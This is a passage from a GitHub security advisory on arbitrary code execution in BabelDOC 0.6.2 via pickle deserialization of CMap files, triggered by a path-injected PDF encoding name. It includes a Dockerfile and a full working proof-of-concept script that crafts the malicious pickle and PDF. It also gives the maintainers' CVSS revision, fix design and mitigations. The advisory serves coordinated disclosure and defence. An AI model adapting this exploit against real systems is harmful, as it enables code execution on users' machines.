privileges or special configuration is required \u2014 default PDF processing is the vulnerable code path.\n\n**Scope:** The attack crosses security boundaries (e.g., a lower-privileged attacker influencing files processed by a different user\u0027s process), justifying the **Changed** scope in the CVSS vector and potential lateral movement between users on multi-user systems.\n\n**Consequences:** Full code execution with the victim process\u0027s privileges \u2014 confidentiality breach, data modification, denial of service, and potential privilege escalation depending on the deployment context.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install system-level dependencies for freetype\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    libfreetype6 \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# Install minimal Python dependencies required by babeldoc/pdfminer\nRUN pip install --no-cache-dir \\\n    freetype-py==2.5.1 \\\n    charset-normalizer \\\n    cryptography\n\n# Copy the BabelDOC repository (only babeldoc package directory is needed)\nCOPY repo/babeldoc /app/babeldoc\n\n# Copy the PoC script\nCOPY vuln-001/poc.py /app/poc.py\n\nWORKDIR /app\n\n# PYTHONPATH exposes babeldoc package without a full pip install\nENV PYTHONPATH=/app\n\nCMD [\"python3\", \"poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: CMap Pickle Deserialization via Absolute Path Injection\nCVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2\n\nVulnerability: babeldoc/pdfminer/cmapdb.py _load_data() only strips NUL bytes\nfrom the CMap name before building a filesystem path.  A PDF name object\nusing #xx hex-encoding can inject absolute path characters (/) so that\nos.path.join() discards the trusted cmap directory entirely, opening and\nunpickling an attacker-placed .pickle.gz file.\n\nAttack flow:\n  PDF /Encoding  /#2Ftmp#2F...#2Fmalicious\n    -\u003e pdfminer hex-decodes #2F -\u003e \u0027/\u0027\n    -\u003e literal_name() returns \"/tmp/.../malicious\"\n    -\u003e _load_data(\"/tmp/.../malicious\")\n    -\u003e filename = \"/tmp/.../malicious.pickle.gz\"   (absolute path!)\n    -\u003e os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n       == \"/tmp/.../malicious.pickle.gz\"            (Python discards first arg)\n    -\u003e gzip.open() + pickle.loads() =\u003e arbitrary code execution\n\"\"\"\n\nimport gzip\nimport os\nimport pathlib\nimport pickle\nimport sys\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nCMAP_STAGING_DIR = pathlib.Path(\"/tmp/babeldoc-cmap-poc\")\nMALICIOUS_PICKLE = CMAP_STAGING_DIR / \"malicious.pickle.gz\"\nMALICIOUS_PDF = CMAP_STAGING_DIR / \"malicious.pdf\"\nPROOF_FILE = pathlib.Path(\"/tmp/babeldoc_cmap_rce_proof.txt\")\n\n\n# ---------------------------------------------------------------------------\n# Step 1: Build the malicious pickle payload\n# ---------------------------------------------------------------------------\nclass MaliciousPayload:\n    \"\"\"Pickle payload that writes a proof file on deserialization.\"\"\"\n\n    def __reduce__(self):\n        # Write proof file when unpickled; any writable command works here.\n        return (\n            pathlib.Path(str(PROOF_FILE)).write_text,\n            (\"RCE_CONFIRMED: pickle.loads executed attacker payload\",),\n        )\n\n\ndef create_malicious_pickle():\n    CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)\n    PROOF_FILE.unlink(missing_ok=True)\n\n    with gzip.open(MALICIOUS_PICKLE, \"wb\") as fh:\n        pickle.dump(MaliciousPayload(), fh)\n\n    print(f\"[+] Malicious pickle written: {MALICIOUS_PICKLE}\")\n\n\n# ---------------------------------------------------------------------------\n# Step 2: Build the malicious PDF\n# ---------------------------------------------------------------------------\ndef create_malicious_pdf():\n    \"\"\"\n    Craft a minimal PDF with a Type0 CID font whose /Encoding name is a\n    PDF literal that hex-encodes an absolute Unix path.\n\n    PDF name syntax: /\u003ccharacters\u003e  where #xx is hex escape for byte 0xxx.\n    \"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\" decodes to the name value\n    \"/tmp/babeldoc-cmap-poc/malicious\" (starts with \u0027/\u0027).\n\n    When passed through babeldoc/pdfminer:\n      literal_name(PSLiteral) -\u003e \"/tmp/babeldoc-cmap-poc/malicious\"\n      _load_data()  -\u003e filename = \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"\n      os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n        =\u003e \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"  (absolute wins!)\n    \"\"\"\n    # Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious\n    # \u0027#2F\u0027 = \u0027/\u0027 in PDF name hex encoding\n    encoding_name = b\"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\"\n\n    content_stream = b\"BT\\n/F1 12 Tf\\n100 700 Td\\n(Malicious PDF) Tj\\nET\\n\"\n\n    # PDF objects (1-indexed)\n    objs = [\n        # 1: Catalog\n        b\"\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\",\n        # 2: Pages\n        b\"\u003c\u003c /Type /Pages /Kids [3 0 R] /Count 1 \u003e\u003e\",\n        # 3: Page - references content stream (4) and font (5)\n        b\"\u003c\u003c /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]\"\n        b\" /Contents 4 0 R /Resources \u003c\u003c /Font \u003c\u003c /F1 5 0 R \u003e\u003e \u003e\u003e \u003e\u003e\",\n        # 4: Content stream\n        b\"\u003c\u003c /Length %d \u003e\u003e\\nstream\\n\" % len(content_stream)\n        + content_stream\n        + b\"\\nendstream\",\n        # 5: Type0 font with malicious /Encoding name\n        b\"\u003c\u003c /Type /Font /Subtype /Type0 /BaseFont /MalFont\"\n        b\" /Encoding \" + encoding_name + b\"\"\n        b\" /DescendantFonts [6 0 R] \u003e\u003e\",\n        # 6: CIDFontType2 descendant\n        b\"\u003c\u003c /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont\"\n        b\" /CIDSystemInfo \u003c\u003c /Registry (Adobe) /Ordering (Identity)\"\n        b\" /Supplement 0 \u003e\u003e /FontDescriptor 7 0 R \u003e\u003e\",\n        # 7: FontDescriptor (minimal)\n        b\"\u003c\u003c /Type /FontDescriptor /FontName /MalFont /Flags 4\"\n        b\" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0\"\n        b\" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 \u003e\u003e\",\n    ]\n\n    buf = bytearray(b\"%PDF-1.4\\n\")\n    offsets = []\n    for i, obj_data in enumerate(objs, 1):\n        offsets.append(len(buf))\n        buf += f\"{i} 0 obj\\n\".encode() + obj_data + b\"\\nendobj\\n\"\n\n    xref_offset = len(buf)\n    buf += f\"xref\\n0 {len(objs) + 1}\\n0000000000 65535 f \\n\".encode()\n    for off in offsets:\n        buf += f\"{off:010d} 00000 n \\n\".encode()\n    buf += (\n        f\"trailer\\n\u003c\u003c /Size {len(objs) + 1} /Root 1 0 R \u003e\u003e\\n\"\n        f\"startxref\\n{xref_offset}\\n%%EOF\\n\"\n    ).encode()\n\n    MALICIOUS_PDF.write_bytes(bytes(buf))\n    print(f\"[+] Malicious PDF written: {MALICIOUS_PDF}\")\n\n\n# ---------------------------------------------------------------------------\n# Step 3: Trigger the vulnerability via babeldoc pdfminer extract_text\n# ---------------------------------------------------------------------------\ndef trigger_exploit():\n    from babeldoc.pdfminer.high_level import extract_text\n\n    print(f\"[*] Calling extract_text({MALICIOUS_PDF}) ...\")\n    try:\n        result = extract_text(str(MALICIOUS_PDF))\n        print(f\"[+] extract_text completed, returned {len(result)} chars\")\n    except Exception as exc:\n        # A TypeError is expected: after pickle.loads() returns the result of\n        # write_text() (an int), the code tries type(name, (), \u003cint\u003e) which\n        # raises TypeError.  The write has already happened at this point.\n        print(f\"[*] extract_text raised {type(exc).__name__}: {exc}\")\n        print(\"[*] This exception is expected; the payload ran before it.\")\n\n\n# ---------------------------------------------------------------------------\n# Step 4: Verify RCE evidence\n# ---------------------------------------------------------------------------\ndef verify_rce():\n    if PROOF_FILE.exists():\n        content = PROOF_FILE.read_text()\n        print()\n        print(\"=\" * 60)\n        print(\"RESULT: PASS\")\n        print(f\"Proof file: {PROOF_FILE}\")\n        print(f\"Content:    {content!r}\")\n        print(\"=\" * 60)\n        return True\n    else:\n        print()\n        print(\"=\" * 60)\n        print(\"RESULT: FAIL\")\n        print(f\"Proof file {PROOF_FILE} was NOT created.\")\n        print(\"=\" * 60)\n        return False\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\ndef main():\n    print(\"=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===\")\n    print(f\"Python: {sys.version}\")\n    print()\n\n    create_malicious_pickle()\n    create_malicious_pdf()\n    trigger_exploit()\n    success = verify_rce()\n\n    sys.exit(0 if success else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n---\n\n## Notes from the maintainer\n\n### CVSS revision note\n\nThe CVSS v3.1 vector has been revised from the reporter\u0027s initial\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` (8.6) to\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (7.8) on maintainer\nreview. The severity rating remains **High**.\n\nOne metric is revised; the remaining metrics (`AV:L`, `AC:L`, `PR:N`,\n`UI:R`, `C:H/I:H/A:H`) are unchanged from the reporter\u0027s assessment.\n\n- **Scope: Changed \u2192 Unchanged.** BabelDOC is a PDF-processing\n  library running with the caller process\u0027s operating-system\n  permissions; it does not enforce a separate security authority over\n  OS files, users, or downstream services. The malicious pickle\n  payload executes in that same BabelDOC Python process. Under CVSS\n  v3.1, this is Scope Unchanged: the vulnerable component and the\n  impacted component are governed by the same authority. No sandbox,\n  VM, browser-client, or application-defined authorization boundary\n  is crossed.\n\nThe remaining metrics are retained intentionally:\n\n- `AV:L`, `PR:N`, `UI:R`: the attack requires local presence of\n  attacker-influenced data (consistent with `AV:L`), does not require\n  authenticated access to BabelDOC itself (`PR:N`), and depends on a\n  user actually processing the crafted PDF (`UI:R`).\n- `AC:L`: kept aligned with industry practice for CWE-502\n  deserialization issues; once the supporting filesystem condition\n  exists, the same-process exploitation path is consistent and\n  repeatable.\n- `C:H`, `I:H`, `A:H`: full code-execution impact within the\n  BabelDOC process.\n\nWe thank EQSTLab for the detailed report and PoC; this revision is\nlimited to CVSS metric interpretation, and the issue remains High\nseverity when exploitable.\n\n### Full sink coverage (2 independently exploitable PDF paths + 2 defense-in-depth call sites)\n\nThe original report covers entry point (1): the `Encoding` / `CMapName`\nfont dictionary path, with absolute-path injection. Local review during\npatch preparation identified that the same `_load_data` sink is reached\nfrom one additional independently exploitable PDF-controlled path and\ntwo prefixed call sites covered at the sink for defense in depth:\n\n1. `Encoding` / `CMapName` references in a font dictionary\n   *(reported entry; absolute-path injection per the upstream report,\n   `..` relative traversal also exploitable)*\n2. The PostScript `usecmap` operator inside an embedded CMap stream\n   *(independently exploitable via `..` relative traversal; not in the\n   original report)*\n3. `CIDSystemInfo.Ordering` flowing through `get_unicode_map` in the\n   legacy pdfminer pipeline\n4. `CIDSystemInfo.Ordering` flowing through `get_unicode_map` in the\n   active new-parser pipeline\n\nCall sites (3) and (4) were not reproduced as standalone PDF-only\nexploit paths in v0.6.x. The `get_unicode_map` caller prepends a\n`to-unicode-` prefix to the PDF-controlled name, which breaks\nabsolute-path injection and means `..` traversal would require an\nadditional crafted directory layout such as a `to-unicode-*`\ncomponent under a CMap search location. The 0.6.3 sink-level fix\nstill covers these call sites, so future removal of the prefix or\na future unprefixed caller remains blocked.\n\n### Fix design\n\nThe runtime CMap loader in 0.6.3 refuses to deserialize any file that\ndoes not simultaneously:\n\n1. appear in a pinned manifest of bundled CMap filenames (allowlist),\n2. resolve inside the bundled `runtime/data/cmap` directory after path\n   resolution (containment check), and\n3. byte-for-byte match the manifest\u0027s pinned byte size and SHA-256.\n\nThe integrity check runs on the compressed on-disk `.gz` bytes before\ndecompression, so files whose compressed size or SHA-256 differs from\nthe pinned manifest are rejected before `gzip` or `pickle` sees them.\nThe legacy `CMAP_PATH` external search path is removed entirely; only\nthe bundled directory is consulted. The active new-parser pipeline\nand the vendored pdfminer pipeline share the same verified-load entry\npoint.\n\n### Related hardening shipped in 0.6.3\n\nA separate hardening in the same release sanitizes PDF-controlled\nXObject names before they reach the optional `ImageWriter` output\npath, preventing PDF-driven writes outside the configured output\ndirectory. This is separate from BabelDOC\u0027s default translation\npipeline: the optional `ImageWriter` is not used by default and is\nonly reachable when a third-party caller passes an explicit\n`output_dir`. It is included here for completeness.\n\n### Risk reduction if you cannot upgrade immediately\n\nThese steps reduce known exploit preconditions on pre-0.6.3 versions;\nthey are not equivalent to the 0.6.3 fix.\n\n- Do not set the `CMAP_PATH` environment variable when running\n  BabelDOC. 0.6.3 removes this variable entirely; on pre-0.6.3\n  versions, unsetting it limits the attack surface to the bundled\n  cmap directory under the BabelDOC package.\n- Run BabelDOC under an account that cannot create files in any\n  directory BabelDOC will read CMap data from, including any\n  pre-0.6.3 `CMAP_PATH` target.\n- Process only PDFs from trusted sources until upgrading.\n\n### Maintenance policy\n\nBabelDOC publishes security fixes only in the latest release. We do\nnot publish maintainer-supported backports for older minor, patch, or\nrelease lines. For this advisory, the maintainer-supported fixed\nversion is 0.6.3 or later; downstream distributors may carry their\nown patches, but older BabelDOC releases will not receive a separate\nupstream backport.\n\n### Acknowledgements\n\nWe thank **EQSTLab** for the detailed private report, complete\nreproduction material, and coordinated-disclosure cooperation that\nallowed this fix to be prepared and released before public\ndisclosure.\n\n### Timeline\n\n- 2026-06-03 04:34 UTC: EQSTLab opens the private advisory draft and\n  notifies maintainers\n- 2026-06-03 09:21 UTC: BabelDOC 0.6.3 released with the fix\n- 2026-06-03 09:50 UTC: this advisory published\n- TBD: CVE identifier assigned (pending GitHub CNA review; GitHub\n  documentation says CVE requests are usually reviewed within 72\n  hours)\n\n### References\n\n- BabelDOC 0.6.3 release notes:\n  https://github.com/funstory-ai/BabelDOC/blob/main/docs/release-notes/v0.6.3.md\n- CVE: TBD (pending CNA assignment)",
  "id": "GHSA-m8gf-v64p-gfmg",
  "modified": "2026-07-10T19:32:44Z",
  "published": "2026-07-10T19:32:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/funstory-ai/BabelDOC/security/advisories/GHSA-m8gf-v64p-gfmg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/funstory-ai/BabelDOC"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BabelDOC: Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…